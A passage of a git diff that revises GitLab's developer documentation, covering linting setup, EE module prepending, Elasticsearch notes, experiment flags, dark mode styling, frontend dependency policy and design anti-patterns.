restart GitLab. Use these styles to document these steps, replacing GitLab for the changes to take effect. ```` -<!-- vale on --> - In this case: - Bold the installation method's name. @@ -1899,21 +1859,6 @@ In this case: - Use the [GitLab Restart](#gitlab-restart) section to explain any required restart or reconfigure of GitLab. -### Troubleshooting - -For troubleshooting sections, provide as much context as possible so -users can identify their problem and resolve it on their own. You -can facilitate this by making sure the troubleshooting content addresses: - -1. The problem the user needs to solve. -1. How the user can confirm they have the problem. -1. Steps the user can take towards resolution of the problem. - -If the contents of each category can be summarized in one line and a list of -steps aren't required, consider setting up a [table](#tables). Create headers of -_Problem_ \| _Cause_ \| _Solution_ (or _Workaround_ if the fix is temporary), or -_Error message_ \| _Solution_. - ## Feature flags Learn how to [document features deployed behind flags](../feature_flags.md). For diff --git a/doc/development/documentation/testing.md b/doc/development/documentation/testing.md index 561727648f0..f3d6e0a5c71 100644 --- a/doc/development/documentation/testing.md +++ b/doc/development/documentation/testing.md @@ -93,8 +93,8 @@ To execute documentation link tests locally: ### UI link tests -The `ui-docs-links lint` job uses `haml-lint` to test that all links to docs from -UI elements (`app/views` files, for example) are linking to valid docs and anchors. +The `ui-docs-links lint` job uses `haml-lint` to test that all documentation links from +UI elements (`app/views` files, for example) are linking to valid pages and anchors. To run the `ui-docs-links` test locally: @@ -156,12 +156,12 @@ markdownlint configuration is found in the following projects: - [`charts`](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/master/.markdownlint.json) - [`gitlab-development-kit`](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/.markdownlint.json) -This configuration is also used within build pipelines. +This configuration is also used in build pipelines. You can use markdownlint: - [On the command line](https://github.com/igorshubovych/markdownlint-cli#markdownlint-cli--). -- [Within a code editor](#configure-editors). +- [In a code editor](#configure-editors). - [In a `pre-push` hook](#configure-pre-push-hooks). ### Vale @@ -172,10 +172,10 @@ English language. Vale's configuration is stored in the directory of projects. Vale supports creating [custom tests](https://errata-ai.github.io/vale/styles/) that extend any of -several types of checks, which we store in the `.linting/vale/styles/gitlab` directory within the +several types of checks, which we store in the `.linting/vale/styles/gitlab` directory in the documentation directory of projects. -Vale configuration is found in the following projects: +You can find Vale configuration in the following projects: - [`gitlab`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc/.vale/gitlab) - [`gitlab-runner`](https://gitlab.com/gitlab-org/gitlab-runner/-/tree/master/docs/.vale/gitlab) @@ -183,13 +183,13 @@ Vale configuration is found in the following projects: - [`charts`](https://gitlab.com/gitlab-org/charts/gitlab/-/tree/master/doc/.vale/gitlab) - [`gitlab-development-kit`](https://gitlab.com/gitlab-org/gitlab-development-kit/-/tree/master/doc/.vale/gitlab) -This configuration is also used within build pipelines, where +This configuration is also used in build pipelines, where [error-level rules](#vale-result-types) are enforced. You can use Vale: - [On the command line](https://errata-ai.gitbook.io/vale/getting-started/usage). -- [Within a code editor](#configure-editors). +- [In a code editor](#configure-editors). - [In a Git hook](#configure-pre-push-hooks). Vale only reports errors in the Git hook (the same configuration as the CI/CD pipelines), and does not report suggestions or warnings. @@ -243,32 +243,40 @@ To match the versions of `markdownlint-cli` and `vale` used in the GitLab projec [versions used](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L447) when building the `image:docs-lint-markdown` Docker image containing these tools for CI/CD. -| Tool | Version | Command | Additional information | -|--------------------|----------|-------------------------------------------|------------------------| -| `markdownlint-cli` | Latest | `yarn global add markdownlint-cli` | n/a | -| `markdownlint-cli` | Specfic | `yarn global add markdownlint-cli@0.23.2` | The `@` indicates a specific version, and this example updates the tool to version `0.23.2`. | -| Vale | Latest | `brew update && brew upgrade vale` | This command is for macOS only. | -| Vale | Specific | n/a | Not possible using `brew`, but can be [directly downloaded](https://github.com/errata-ai/vale/releases). | +| Tool | Version | Command | Additional information | +|--------------------|-----------|-------------------------------------------|------------------------| +| `markdownlint-cli` | Latest | `yarn global add markdownlint-cli` | n/a | +| `markdownlint-cli` | Specific | `yarn global add markdownlint-cli@0.23.2` | The `@` indicates a specific version, and this example updates the tool to version `0.23.2`. | +| Vale | Latest | `brew update && brew upgrade vale` | This command is for macOS only. | +| Vale | Specific | n/a | Not possible using `brew`, but can be [directly downloaded](https://github.com/errata-ai/vale/releases). | ### Configure editors Using linters in your editor is more convenient than having to run the commands from the command line. -To configure markdownlint within your editor, install one of the following as appropriate: +To configure markdownlint in your editor, install one of the following as appropriate: -- [Sublime Text](https://packagecontrol.io/packages/SublimeLinter-contrib-markdownlint) -- [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint) -- [Atom](https://atom.io/packages/linter-node-markdownlint) -- [Vim](https://github.com/dense-analysis/ale) +- Sublime Text [`SublimeLinter-contrib-markdownlint` package](https://packagecontrol.io/packages/SublimeLinter-contrib-markdownlint). +- Visual Studio Code [`DavidAnson.vscode-markdownlint` extension](https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint). +- Atom [`linter-node-markdownlint` package](https://atom.io/packages/linter-node-markdownlint). +- Vim [ALE plugin](https://github.com/dense-analysis/ale). -To configure Vale within your editor, install one of the following as appropriate: +To configure Vale in your editor, install one of the following as appropriate: -- The Sublime Text [`SublimeLinter-contrib-vale` plugin](https://packagecontrol.io/packages/SublimeLinter-contrib-vale). -- The Visual Studio Code [`errata-ai.vale-server` extension](https://marketplace.visualstudio.com/items?itemName=errata-ai.vale-server). - You don't need Vale Server to use the plugin. You can configure the plugin to +- Sublime Text [`SublimeLinter-contrib-vale` package](https://packagecontrol.io/packages/SublimeLinter-contrib-vale). +- Visual Studio Code [`errata-ai.vale-server` extension](https://marketplace.visualstudio.com/items?itemName=errata-ai.vale-server). + You can configure the plugin to [display only a subset of alerts](#show-subset-of-vale-alerts). -- [Vim](https://github.com/dense-analysis/ale). + + In the extension's settings: + + - Select the **Use CLI** checkbox. + - In the **Config** setting, enter an absolute path to [`.vale.ini`](https://gitlab.com/gitlab-org/gitlab/blob/master/.vale.ini) in one of the cloned GitLab repositories on your computer. + - In the **Path** setting, enter the absolute path to the Vale binary. In most + cases, `vale` should work. To find the location, run `which vale` in a terminal. + +- Vim [ALE plugin](https://github.com/dense-analysis/ale). We don't use [Vale Server](https://errata-ai.github.io/vale/#using-vale-with-a-text-editor-or-another-third-party-application). @@ -286,7 +294,7 @@ Configuration for `lefthook` is available in the [`lefthook.yml`](https://gitlab file for the [`gitlab`](https://gitlab.com/gitlab-org/gitlab) project. To set up `lefthook` for documentation linting, see -[Pre-push static analysis](../contributing/style_guides.md#pre-push-static-analysis). +[Pre-push static analysis](../contributing/style_guides.md#pre-push-static-analysis-with-lefthook). ### Show subset of Vale alerts diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md index e809ca84707..8e2028532e4 100644 --- a/doc/development/documentation/workflow.md +++ b/doc/development/documentation/workflow.md @@ -65,13 +65,15 @@ To update GitLab documentation: NOTE: Work in a fork if you do not have Developer access to the GitLab project. -Request help from the Technical Writing team if you: +### Ask for help + +Ask for help from the Technical Writing team if you: - Need help to choose the correct place for documentation. - Want to discuss a documentation idea or outline. - Want to request any other help. -To request help: +To identify someone who can help you: 1. Locate the Technical Writer for the relevant [DevOps stage group](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments). diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md index 5be601187ca..81014b7624c 100644 --- a/doc/development/ee_features.md +++ b/doc/development/ee_features.md @@ -92,12 +92,36 @@ class User < ActiveRecord::Base # ... lots of code here ... end -User.prepend_if_ee('EE::User') +User.prepend_ee_mod ``` Do not use methods such as `prepend`, `extend`, and `include`. Instead, use -`prepend_if_ee`, `extend_if_ee`, or `include_if_ee`. These methods take a -_String_ containing the full module name as the argument, not the module itself. +`prepend_ee_mod`, `extend_ee_mod`, or `include_ee_mod`. These methods will try to +find the relevant EE module by the name of the receiver module, for example; + +```ruby +module Vulnerabilities + class Finding + #... + end +end + +Vulnerabilities::Finding.prepend_ee_mod +``` + +will prepend the module named `::EE::Vulnerabilities::Finding`. + +If the extending module does not follow this naming convention, you can also provide the module name +by using `prepend_if_ee`, `extend_if_ee`, or `include_if_ee`. These methods take a +_String_ containing the full module name as the argument, not the module itself, like so; + +```ruby +class User + #... +end + +User.prepend_if_ee('::EE::UserExtension') +``` Since the module would require an `EE` namespace, the file should also be put in an `ee/` sub-directory. For example, we want to extend the user model @@ -142,9 +166,9 @@ still having access the class's implementation with `super`. There are a few gotchas with it: - you should always [`extend ::Gitlab::Utils::Override`](utilities.md#override) and use `override` to - guard the "overrider" method to ensure that if the method gets renamed in + guard the `overrider` method to ensure that if the method gets renamed in CE, the EE override isn't silently forgotten. -- when the "overrider" would add a line in the middle of the CE +- when the `overrider` would add a line in the middle of the CE implementation, you should refactor the CE method and split it in smaller methods. Or create a "hook" method that is empty in CE, and with the EE-specific implementation in EE. @@ -947,7 +971,7 @@ information on managing page-specific JavaScript within EE. #### Child Component only used in EE -To separate Vue template differences we should [async import the components](https://vuejs.org/v2/guide/components-dynamic-async.html#Async-Components). +To separate Vue template differences we should [import the components asynchronously](https://vuejs.org/v2/guide/components-dynamic-async.html#Async-Components). Doing this allows for us to load the correct component in EE while in CE we can load a empty component that renders nothing. This code **should** @@ -1044,7 +1068,7 @@ export default { **For EE components that need different results for the same computed values, we can pass in props to the CE wrapper as seen in the example.** - **EE Child components** - - Since we are using the async loading to check which component to load, we'd still use the component's name, check [this example](#child-component-only-used-in-ee). + - Since we are using the asynchronous loading to check which component to load, we'd still use the component's name, check [this example](#child-component-only-used-in-ee). - **EE extra HTML** - For the templates that have extra HTML in EE we should move it into a new component and use the `ee_else_ce` dynamic import diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md index 8bf8a5fccb8..3392bd1fbf6 100644 --- a/doc/development/elasticsearch.md +++ b/doc/development/elasticsearch.md @@ -4,7 +4,7 @@ group: Global Search info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Elasticsearch knowledge **(STARTER ONLY)** +# Elasticsearch knowledge **(PREMIUM SELF)** This area is to maintain a compendium of useful information when working with Elasticsearch. @@ -13,9 +13,9 @@ the [Elasticsearch integration documentation](../integration/elasticsearch.md#en ## Deep Dive -In June 2019, Mario de la Ossa hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on the GitLab [Elasticsearch integration](../integration/elasticsearch.md) to share his domain specific knowledge with anyone who may work in this part of the codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=vrvl-tN2EaA), and the slides on [Google Slides](https://docs.google.com/presentation/d/1H-pCzI_LNrgrL5pJAIQgvLX8Ji0-jIKOg1QeJQzChug/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/c5aa32b6b07476fa8b597004899ec538/Elasticsearch_Deep_Dive.pdf). Everything covered in this deep dive was accurate as of GitLab 12.0, and while specific details may have changed since then, it should still serve as a good introduction. +In June 2019, Mario de la Ossa hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on the GitLab [Elasticsearch integration](../integration/elasticsearch.md) to share his domain specific knowledge with anyone who may work in this part of the codebase in the future. You can find the <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [recording on YouTube](https://www.youtube.com/watch?v=vrvl-tN2EaA), and the slides on [Google Slides](https://docs.google.com/presentation/d/1H-pCzI_LNrgrL5pJAIQgvLX8Ji0-jIKOg1QeJQzChug/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/c5aa32b6b07476fa8b597004899ec538/Elasticsearch_Deep_Dive.pdf). Everything covered in this deep dive was accurate as of GitLab 12.0, and while specific details may have changed since then, it should still serve as a good introduction. -In August 2020, a second Deep Dive was hosted, focusing on [GitLab-specific architecture for multi-indices support](#zero-downtime-reindexing-with-multiple-indices). The [recording on YouTube](https://www.youtube.com/watch?v=0WdPR9oB2fg) and the [slides](https://lulalala.gitlab.io/gitlab-elasticsearch-deepdive/) are available. Everything covered in this deep dive was accurate as of GitLab 13.3. +In August 2020, a second Deep Dive was hosted, focusing on [GitLab-specific architecture for multi-indices support](#zero-downtime-reindexing-with-multiple-indices). The <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [recording on YouTube](https://www.youtube.com/watch?v=0WdPR9oB2fg) and the [slides](https://lulalala.gitlab.io/gitlab-elasticsearch-deepdive/) are available. Everything covered in this deep dive was accurate as of GitLab 13.3. ## Supported Versions @@ -69,7 +69,7 @@ The `whitespace` tokenizer was selected in order to have more control over how t Please see the `code` filter for an explanation on how tokens are split. NOTE: -Currently the [Elasticsearch code_analyzer doesn't account for all code cases](../integration/elasticsearch.md#known-issues). +The [Elasticsearch code_analyzer doesn't account for all code cases](../integration/elasticsearch.md#elasticsearch-code_analyzer-doesnt-account-for-all-code-cases). #### `code_search_analyzer` @@ -210,7 +210,7 @@ class MigrationName < Elastic::Migration end ``` -Applied migrations are stored in `gitlab-#{RAILS_ENV}-migrations` index. All unexecuted migrations +Applied migrations are stored in `gitlab-#{RAILS_ENV}-migrations` index. All migrations not executed are applied by the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb) cron worker sequentially. @@ -337,7 +337,7 @@ cluster.routing.allocation.disk.watermark.low: 15gb cluster.routing.allocation.disk.watermark.high: 10gb ``` -Restart Elasticsearch, and the `read_only_allow_delete` will clear on it's own. +Restart Elasticsearch, and the `read_only_allow_delete` will clear on its own. _from "Disk-based Shard Allocation | Elasticsearch Reference" [5.6](https://www.elastic.co/guide/en/elasticsearch/reference/5.6/disk-allocator.html#disk-allocator) and [6.x](https://www.elastic.co/guide/en/elasticsearch/reference/6.7/disk-allocator.html)_ @@ -351,7 +351,7 @@ simply reindex everything from scratch. If your Elasticsearch index is incredibly large it may be too time consuming or cause too much downtime to reindex from scratch. There aren't any built in -mechanisms for automatically finding discrepencies and resyncing an +mechanisms for automatically finding discrepancies and resyncing an Elasticsearch index if it gets out of sync but one tool that may be useful is looking at the logs for all the updates that occurred in a time range you believe may have been missed. This information is very low level and only diff --git a/doc/development/experiment_guide/index.md b/doc/development/experiment_guide/index.md index a1899ab5f18..21c61324dc1 100644 --- a/doc/development/experiment_guide/index.md +++ b/doc/development/experiment_guide/index.md @@ -12,7 +12,7 @@ Experiments are run as an A/B test and are behind a feature flag to turn the tes ## Experiment tracking issue -Each experiment should have an [Experiment tracking](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=growth%20experiment&search=%22Experiment+tracking%22) issue to track the experiment from roll-out through to cleanup/removal. Immediately after an experiment is deployed, the due date of the issue should be set (this depends on the experiment but can be up to a few weeks in the future). +Each experiment should have an [Experiment tracking](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=growth%20experiment&search=%22Experiment+tracking%22) issue to track the experiment from roll-out through to cleanup/removal. The tracking issue is similar to a feature flag rollout issue, and is also used to track the status of an experiment. Immediately after an experiment is deployed, the due date of the issue should be set (this depends on the experiment but can be up to a few weeks in the future). After the deadline, the issue needs to be resolved and either: - It was successful and the experiment becomes the new default. @@ -36,7 +36,17 @@ and link to the issue that resolves the experiment. If the experiment is successful and becomes part of the product, any follow up issues should be addressed. -## How to create an A/B test +## Experiments using `gitlab-experiment` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/300383) in GitLab 13.7. +> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - It's enabled on GitLab.com. +> - It is not yet intended for use in GitLab self-managed instances. + +[GitLab Experiment](https://gitlab.com/gitlab-org/gitlab-experiment/) is a gem included +in GitLab that can be used for running experiments. + +## How to create an A/B test using `experimentation.rb` ### Implement the experiment @@ -315,7 +325,7 @@ Note that the use of this method requires that we have first [recorded the user ### Enable the experiment -After all merge requests have been merged, use [`chatops`](../../ci/chatops/README.md) in the +After all merge requests have been merged, use [`chatops`](../../ci/chatops/index.md) in the [appropriate channel](../feature_flags/controls.md#communicate-the-change) to start the experiment for 10% of the users. The feature flag should have the name of the experiment with the `_experiment_percentage` suffix appended. For visibility, please also share any commands run against production in the `#s_growth` channel: @@ -358,7 +368,7 @@ Use a comma to list more than one experiment to be forced: document.cookie = "force_experiment=<EXPERIMENT_KEY>,<ANOTHER_EXPERIMENT_KEY>; path=/"; ``` -Clear the experiments by unsetting the `force_experiment` cookie: +To clear the experiments, unset the `force_experiment` cookie: ```javascript document.cookie = "force_experiment=; path=/"; diff --git a/doc/development/export_csv.md b/doc/development/export_csv.md index 99b6062736d..0bf12149779 100644 --- a/doc/development/export_csv.md +++ b/doc/development/export_csv.md @@ -14,7 +14,7 @@ This document lists the different implementations of CSV export in GitLab codeba | Downloading | - Query and write data in batches to a temporary file.<br>- Loads the file into memory.<br>- Sends the file to the client. | - Report available immediately. | - Large amount of data might cause request timeout.<br>- Memory intensive.<br>- Request expires when user navigates to a different page. | [Export Chain of Custody Report](../user/compliance/compliance_dashboard/#chain-of-custody-report) | | As email attachment | - Asynchronously process the query with background job.<br>- Email uses the export as an attachment. | - Asynchronous processing. | - Requires users use a different app (email) to download the CSV.<br>- Email providers may limit attachment size. | - [Export Issues](../user/project/issues/csv_export.md)<br>- [Export Merge Requests](../user/project/merge_requests/csv_export.md) | | As downloadable link in email (*) | - Asynchronously process the query with background job.<br>- Email uses an export link. | - Asynchronous processing.<br>- Bypasses email provider attachment size limit. | - Requires users use a different app (email).<br>- Requires additional storage and cleanup. | [Export User Permissions](https://gitlab.com/gitlab-org/gitlab/-/issues/1772) | -| Polling (non-persistent state) | - Asynchronously processes the query with the background job.<br>- Frontend(FE) polls every few seconds to check if CSV file is ready. | - Asynchronous processing.<br>- Automatically downloads to local machine on completion.<br>- In-app solution. | - Non-persistable request - request expires when user navigates to a different page.<br>- API is processed for each polling request. | [Export Vulnerabilities](../user/application_security/security_dashboard/#export-vulnerabilities) | +| Polling (non-persistent state) | - Asynchronously processes the query with the background job.<br>- Frontend(FE) polls every few seconds to check if CSV file is ready. | - Asynchronous processing.<br>- Automatically downloads to local machine on completion.<br>- In-app solution. | - Non-persistable request - request expires when user navigates to a different page.<br>- API is processed for each polling request. | [Export Vulnerabilities](../user/application_security/vulnerability_report/#export-vulnerabilities) | | Polling (persistent state) (*) | - Asynchronously processes the query with background job.<br>- Backend (BE) maintains the export state<br>- FE polls every few seconds to check status.<br>- FE shows 'Download link' when export is ready.<br>- User can download or regenerate a new report. | - Asynchronous processing.<br>- No database calls made during the polling requests (HTTP 304 status is returned until export status changes).<br>- Does not require user to stay on page until export is complete.<br>- In-app solution.<br>- Can be expanded into a generic CSV feature (such as dashboard / CSV API). | - Requires to maintain export states in DB.<br>- Does not automatically download the CSV export to local machine, requires users to click 'Download' button. | [Export Merge Commits Report](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/43055) | NOTE: diff --git a/doc/development/fe_guide/accessibility.md b/doc/development/fe_guide/accessibility.md index 92730e8139f..5ad1a701fac 100644 --- a/doc/development/fe_guide/accessibility.md +++ b/doc/development/fe_guide/accessibility.md @@ -9,11 +9,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Resources [Chrome Accessibility Developer Tools](https://github.com/GoogleChrome/accessibility-developer-tools) -are useful for testing for potential accessibility problems in GitLab. +assist with testing for potential accessibility problems in GitLab. -The [axe](https://www.deque.com/axe/) browser extension (available for [Firefox](https://addons.mozilla.org/en-US/firefox/addon/axe-devtools/) and [Chrome](https://chrome.google.com/webstore/detail/axe-web-accessibility-tes/lhdoppojpmngadmnindnejefpokejbdd)) is -also a handy tool for running audits and getting feedback on markup, CSS and even potentially problematic color usages. +The [axe](https://www.deque.com/axe/) browser extension (available for [Firefox](https://addons.mozilla.org/en-US/firefox/addon/axe-devtools/) and [Chrome](https://chrome.google.com/webstore/detail/axe-web-accessibility-tes/lhdoppojpmngadmnindnejefpokejbdd)) provides running audits and feedback on markup, CSS, and even potentially problematic color usages. Accessibility best-practices and more in-depth information are available on -[the Audit Rules page](https://github.com/GoogleChrome/accessibility-developer-tools/wiki/Audit-Rules) for the Chrome Accessibility Developer Tools. The [Awesome Accessibility](https://github.com/brunopulis/awesome-a11y) list is also a -useful compilation of accessibility-related material. +[the Audit Rules page](https://github.com/GoogleChrome/accessibility-developer-tools/wiki/Audit-Rules) for the Chrome Accessibility Developer Tools. The [Awesome Accessibility](https://github.com/brunopulis/awesome-a11y) list is a compilation of accessibility-related material. diff --git a/doc/development/fe_guide/architecture.md b/doc/development/fe_guide/architecture.md index 964837dc5f7..c51f99ca9d2 100644 --- a/doc/development/fe_guide/architecture.md +++ b/doc/development/fe_guide/architecture.md @@ -6,9 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Architecture -When you are developing a new feature that requires architectural design, or if -you are changing the fundamental design of an existing feature, make sure it is -discussed with one of the Frontend Architecture Experts. +When developing a feature that requires architectural design, or changing the fundamental design of an existing feature, discuss it with a Frontend Architecture Expert. A Frontend Architect is an expert who makes high-level Frontend design decisions and decides on technical standards, including coding standards and frameworks. diff --git a/doc/development/fe_guide/axios.md b/doc/development/fe_guide/axios.md index cf5a4970c04..2d699b305ce 100644 --- a/doc/development/fe_guide/axios.md +++ b/doc/development/fe_guide/axios.md @@ -44,7 +44,7 @@ Advantages over [`spyOn()`](https://jasmine.github.io/api/edge/global.html#spyOn - no need to create response objects - does not allow call through (which we want to avoid) -- simple API to test error cases +- clear API to test error cases - provides `replyOnce()` to allow for different responses We have also decided against using [Axios interceptors](https://github.com/axios/axios#interceptors) because they are not suitable for mocking. diff --git a/doc/development/fe_guide/components.md b/doc/development/fe_guide/components.md deleted file mode 100644 index 6b6274a6480..00000000000 --- a/doc/development/fe_guide/components.md +++ /dev/null @@ -1,3 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/components/status/' ---- diff --git a/doc/development/fe_guide/dark_mode.md b/doc/development/fe_guide/dark_mode.md new file mode 100644 index 00000000000..dd7ffd1ee6c --- /dev/null +++ b/doc/development/fe_guide/dark_mode.md @@ -0,0 +1,77 @@ +--- +type: reference, dev +stage: none +group: Development +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +This page is about developing dark mode for GitLab. We also have documentation on how +[to enable dark mode](../../user/profile/preferences.md#dark-mode). + +# How dark mode works + +Short version: Reverse the color palette and override a few Bootstrap variables. + +Note the following: + +- The dark mode palette is defined in `app/assets/stylesheets/themes/_dark.scss`. + This is loaded _before_ application.scss to generate `application_dark.css` + - We define two types of variables in `_dark.scss`: + - SCSS variables are used in framework, components, and utitlity classes. + - CSS variables are used for any colors within the `app/assets/stylesheets/page_bundles` directory. +- `app/views/layouts/_head.html.haml` then loads application or application_dark based on the user's theme preference. + +As we do not want to generate separate `_dark.css` variants of every page_bundle file, +we use CSS variables with SCSS variables as fallbacks. This is because when we generate the `page_bundles` +CSS, we get the variable values from `_variables.scss`, so any SCSS variables have light mode values. + +As the CSS variables defined in `_dark.scss` are available in the browser, they have the +correct colors for dark mode. + +```scss +color: var(--gray-500, $gray-500); +``` + +## Utility classes + +We generate a separate `utilities_dark.css` file for utility classes containing the inverted values. So a class +such as `gl-text-white` specifies a text color of `#333` in dark mode. This means you do not have to +add multiple classes every time you want to add a color. + +Currently, we cannot set up a utility class only in dark mode. We hope to address that +[issue](https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1141) soon. + +## Using different values in light and dark mode + +In most cases, we can use the same values for light and dark mode. If that is not possible, you +can add an override using the `.gl-dark` class that dark mode adds to `body`: + +```scss +color: $gray-700; +.gl-dark & { + color: var(--gray-500); +} +``` + +NOTE: +Avoid using a different value for the SCSS fallback + +```scss +// avoid where possible +// --gray-500 (#999) in dark mode +// $gray-700 (#525252) in light mode +color: var(--gray-500, $gray-700); +``` + +We [plan to add](https://gitlab.com/gitlab-org/gitlab/-/issues/301147) the CSS variables to light mode. When that happens, different values for the SCSS fallback will no longer work. + +## When to use SCSS variables + +There are a few things we do in SCSS that we cannot (easily) do with CSS, such as the following +functions: + +- `lighten` +- `darken` +- `color-yiq` (color contrast) + +If those are needed then SCSS variables should be used. diff --git a/doc/development/fe_guide/dependencies.md b/doc/development/fe_guide/dependencies.md index b036819cde1..8fe03544f85 100644 --- a/doc/development/fe_guide/dependencies.md +++ b/doc/development/fe_guide/dependencies.md @@ -6,28 +6,75 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Frontend dependencies -## Package manager +We use [yarn@1](https://classic.yarnpkg.com/lang/en/) to manage frontend dependencies. -We use [Yarn](https://yarnpkg.com/) to manage frontend dependencies. There are a few exceptions, stored in `vendor/assets/`. +There are a few exceptions in the GitLab repository, stored in `vendor/assets/`. -## Updating dependencies +## What are production and development dependencies? + +These dependencies are defined in two groups within `package.json`, `dependencies` and `devDependencies`. +For our purposes, we consider anything that is required to compile our production assets a "production" dependency. +That is, anything required to run the `webpack` script with `NODE_ENV=production`. +Tools like `eslint`, `jest`, and various plugins and tools used in development are considered `devDependencies`. +This distinction is used by omnibus to determine which dependencies it requires when building GitLab. -### Renovate GitLab Bot +Exceptions are made for some tools that we require in the +`compile-production-assets` CI job such as `webpack-bundle-analyzer` to analyze our +production assets post-compile. + +## Updating dependencies We use the [Renovate GitLab Bot](https://gitlab.com/gitlab-org/frontend/renovate-gitlab-bot) to -automatically create merge requests for updating dependencies of several projects. You can find the -up-to-date list of projects managed by the renovate bot in the project’s README. Some key dependencies -updated using renovate are: +automatically create merge requests for updating dependencies of several projects. +You can find the up-to-date list of projects managed by the renovate bot in the project’s README. + +Some key dependencies updated using renovate are: - [`@gitlab/ui`](https://gitlab.com/gitlab-org/gitlab-ui) - [`@gitlab/svgs`](https://gitlab.com/gitlab-org/gitlab-svgs) - [`@gitlab/eslint-plugin`](https://gitlab.com/gitlab-org/frontend/eslint-plugin) +- And any other package in the `@gitlab/` scope + +We have the goal of updating [_all_ dependencies with renovate](https://gitlab.com/gitlab-org/frontend/rfcs/-/issues/21). + +Updating dependencies automatically has several benefits, have a look at this [example MR](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53613). + +- MRs will be created automatically when new versions are released +- MRs can easily be rebased and updated with just checking a checkbox in the MR description +- MRs contain changelog summaries and links to compare the different package versions +- MRs can be assigned to people directly responsible for the dependencies + +### Community contributions updating dependencies + +It is okay to reject Community Contributions that solely bump dependencies. +Simple dependency updates are better done automatically for the reasons provided above. +If a community contribution needs to be rebased, runs into conflicts, or goes stale, the effort required +to instruct the contributor to correct it often outweighs the benefits. + +If a dependency update is accompanied with significant migration efforts, due to major version updates, +a community contribution is acceptable. + +Here is a message you can use to explain to community contributors as to why we reject simple updates: + +```markdown +Hello CONTRIBUTOR! + +Thank you very much for this contribution. It seems like you are doing a "simple" dependency update. + +If a dependency update is as simple as increasing the version number, we'd like a Bot to do this to save you and ourselves some time. + +This has certain benefits as outlined in our <a href="https://docs.gitlab.com/ee/development/fe_guide/dependencies.html#updating-dependencies">Frontend development guidelines</a>. + +You might find that we do not currently update DEPENDENCY automatically, but we are planning to do so in [the near future](https://gitlab.com/gitlab-org/frontend/rfcs/-/issues/21). + +Thank you for understanding, I will close this Merge Request. +/close +``` ### Blocked dependencies -We discourage installing some dependencies in [GitLab repository](https://gitlab.com/gitlab-org/gitlab) -because they can create conflicts in the dependency tree. Blocked dependencies are declared in the -`blockDependencies` property of the GitLab [`package.json` file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/package.json). +We discourage installing some dependencies in [GitLab repository](https://gitlab.com/gitlab-org/gitlab) because they can create conflicts in the dependency tree. +Blocked dependencies are declared in the `blockDependencies` property of the GitLab [`package.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/package.json). ## Dependency notes diff --git a/doc/development/fe_guide/design_anti_patterns.md b/doc/development/fe_guide/design_anti_patterns.md new file mode 100644 index 00000000000..d230e413879 --- /dev/null +++ b/doc/development/fe_guide/design_anti_patterns.md @@ -0,0 +1,219 @@ +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Design Anti-patterns + +Anti-patterns may seem like good approaches at first, but it has been shown that they bring more ills than benefits. These should +generally be avoided. + +Throughout the GitLab codebase, there may be historic uses of these anti-patterns. Please [use discretion](https://about.gitlab.com/handbook/engineering/#balance-refactoring-and-velocity) +when figuring out whether or not to refactor, when touching code that uses one of these legacy patterns. + +**Please note:** For new features, anti-patterns are not necessarily prohibited, but it is **strongly suggested** to find another approach. + +## Shared Global Object (Anti-pattern) + +A shared global object is an instance of something that can be accessed from anywhere and therefore has no clear owner. + +Here's an example of this pattern applied to a Vuex Store: + +```javascript +const createStore = () => new Vuex.Store({ + actions, + state, + mutations +}); + +// Notice that we are forcing all references to this module to use the same single instance of the store. +// We are also creating the store at import-time and there is nothing which can automatically dispose of it. +// +// As an alternative, we should simply export the `createStore` and let the client manage the +// lifecycle and instance of the store. +export default createStore(); +``` + +### What problems do Shared Global Objects cause? + +Shared Global Objects are convenient because they can be accessed from anywhere. However, +the convenience does not always outweigh their heavy cost: + +- **No ownership.** There is no clear owner to these objects and therefore they assume a non-deterministic + and permanent lifecycle. This can be especially problematic for tests. +- **No access control.** When Shared Global Objects manage some state, this can create some very buggy and difficult + coupling situations because there is no access control to this object. +- **Possible circular references.** Shared Global Objects can also create some circular referencing situations since submodules + of the Shared Global Object can reference modules that reference itself (see + [this MR for an example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33366)). + +Here are some historic examples where this pattern was identified to be problematic: + +- 